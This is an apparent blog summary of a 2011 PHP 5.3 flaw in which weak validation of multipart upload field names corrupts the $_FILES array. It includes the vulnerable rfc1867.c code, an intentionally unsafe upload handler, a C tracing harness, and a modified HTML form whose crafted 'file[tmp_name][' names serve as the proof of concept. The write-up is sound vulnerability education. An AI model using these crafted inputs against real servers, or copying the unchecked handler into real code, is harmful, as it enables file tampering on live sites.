PHP not properly checking Params



This is a summary of [Iwaniuk 2011]

PHP 5.3.6 (source) uses two slightly different datastructures to handle metadata on a file upload/multifile upload [RFC 1867]. PHP gates which of these codepaths and datastructures to use based on user controlled input, and it is possible to mangle the datastructure by forcing PHP to shove multifile upload metadata into the datastructure/codepath meant for single file metadata.

(Most of the following occurs in the function: SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler).)

In rfc1867.c:1177 we have the core of the problem which are calls to snprintf with user controlled data that is given in param (lines 4 and 6 below):

if (is_arr_upload) {
	if (abuf) efree(abuf);
		abuf = estrndup(param, strlen(param)-array_len);
		snprintf(lbuf, llen, "%s_name[%s]", abuf, array_index);
    } else {
		snprintf(lbuf, llen, "%s_name", param);
    }

In rfc1867.c:1157 PHP does a check which chooses what datastructure and codepath to use for the metadata, based on the user controlled input in param. If param ends with a “]” (ie. “file[]”) then PHP selects the codepath for the multifile upload; otherwise PHP treats the upload as a single file upload.

is_arr_upload = (start_arr = strchr(param,'[')) && (param[strlen(param)-1] == ']');

Here’s the PHP code that showcases the vulnerability, slightly modified from the original to help understand what is going on:

<?php
/* this is upload/index.php */
foreach ($_FILES["file"]["tmp_name"] as $key => $name) {
    if ($_FILES["file"]["size"][$key]>0 &&
        $_FILES["file"]["size"][$key]<1024)
          print('<H1>copy($_FILES["file"]["tmp_name"]['.$key."],''.rand().'.txt'</H1><br>");
        $src = $_FILES["file"]["tmp_name"][$key];
        $dst = ''.rand().'.txt';
        print("<H1>copy($src, $dst)</H1>");
        copy($src, $dst);
}
?>
</html>

Ideally, this code should be accessed by a safe front end uploader:

<html>
<h1> This is an upload example. </h1>
<form action = "upload/index.php" method = "POST"
enctype = "multipart/form-data">
<input type = "Hidden" name  ="MAX_FILE_SIZE" value ="10000000">
<input type = "file"   name  = "file[]">
<input type = "file"   name  = "file[]">
<input type = "file"   name  = "file[]">
<input type = "submit" value ="submit">
</form>
</html>

Using this when we upload 3 files and thus PHP’s $_FILES will be an array (“file”) of 5 arrays, (“name”, “type”, “tmp_name”, “error”, and “size”) each of these with 3 elements each to hold the metadata for the seperate files:

Array ( [file] => Array ( [name] => Array ( [0] => index.php [1] => 123 [2] => file.txt ) [type] => Array ( [0] => application/octet-stream [1] => application/octet-stream [2] => text/plain ) [tmp_name] => Array ( [0] => /tmp/php97bGry [1] => /tmp/php75jehC [2] => /tmp/phpDygN6F ) [error] => Array ( [0] => 0 [1] => 0 [2] => 0 ) [size] => Array ( [0] => 24 [1] => 16 [2] => 15 ) ) ) 

Thus, $_FILES[“name”][0..2] are the file names, $FILES[“tmp_name”][0..2] are the names that the uploaded files have in /tmp before PHP processes them. Note that in a single file upload, we have a simple array used with 5 elements, not an array of arrays.

Here’s an portion of the code with extra debugging stuff added so that we can see what’s going on. I pulled it out to run as a stand alone binary for clarity. Some function names, the e-*str functions have been renamed to the cstdlib versions.

#include <stdio.h>
#include <string.h>
int main(int argc, char * argv[]) {
        const char * param = argv[1];
        //const char * param = "wtf[ntdll.dll]";
        printf("param = %s\n", param);
        int is_arr_upload, array_len;
        char *start_arr;
        char * array_index = NULL;

        char * abuf = NULL;
        int  llen =1024;
        char lbuf[llen];

        int x = strlen(param) - 1;
        printf("strlen(param) - 1 = %d\n", x);
        printf("param[strlen(param)-1] = %c\n", param[x]);

        is_arr_upload = (start_arr = strchr(param,'['))
                &amp;&amp; (param[strlen(param)-1] == ']'); // rfc1867.c:1157

        if (is_arr_upload) {     // rfc1867.c:1159
                printf("is_array_upload = %d\n", is_arr_upload);
                array_len = strlen(start_arr);
                if (array_index) {
                        printf("array_index = %s\n", array_index);
                        printf("efree(%s)\n", array_index);
                }
                array_index = strndup(start_arr+1, array_len-2); // rfc1867:1164
                printf("array_index = %s\n", array_index);
        }  

        int y = strlen(param) - array_len;
        printf("strlen(param) - array_len = %d\n", y);
        abuf = strndup(param, y);
        printf("abuf = %s\n", abuf);

        if (is_arr_upload) {
                snprintf(lbuf, llen, "%s[type][%s]", abuf, array_index);
                printf("lbuf = %s\n", lbuf);
        } else {
                snprintf(lbuf, llen, "%s[type]", param);
                printf("lbuf = %s\n", lbuf);
        }
        printf("register_http_post_files_variable(%s, cd, http_post_files, 0 TSRMLS_CC \n", lbuf);
        return 0;
}

The original safe uploader page uses the params of “file[]”. This results in the call:

register_http_post_files_variable(file[type][], cd, http_post_files, 0 TSRMLS_CC

One can do is copy the webpage to your local machine, and modify it as such:

<form action = "http://example.com/upload/index.php" method = "POST" enctype = "multipart/form-data">
...
<input type = "file" name = "file[tmp_name][">
<input type = "file" name = "file[size][">
<input type = "file" name = "file[name][">
...

In short, an issue occurs because php does not actually check the parameters

This is the version of PHP I can verify this is vulnerable with:

$ php --version 
PHP 5.3.2-1ubuntu4.9 with Suhosin-Patch (cli) (built: May  3 2011 00:45:52)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies

Follow up: check into the TSRM/ directory, there look to be some interesting code bits in there.

TSRMLS_DC is a shortcut for “, void *** tsrm_ls”.

[1] A. Iwaniuk, Overriding $_FILES array during uploading multiple files in php.

[2] Insufficient validating of upload name leading to corrupted $_FILES indices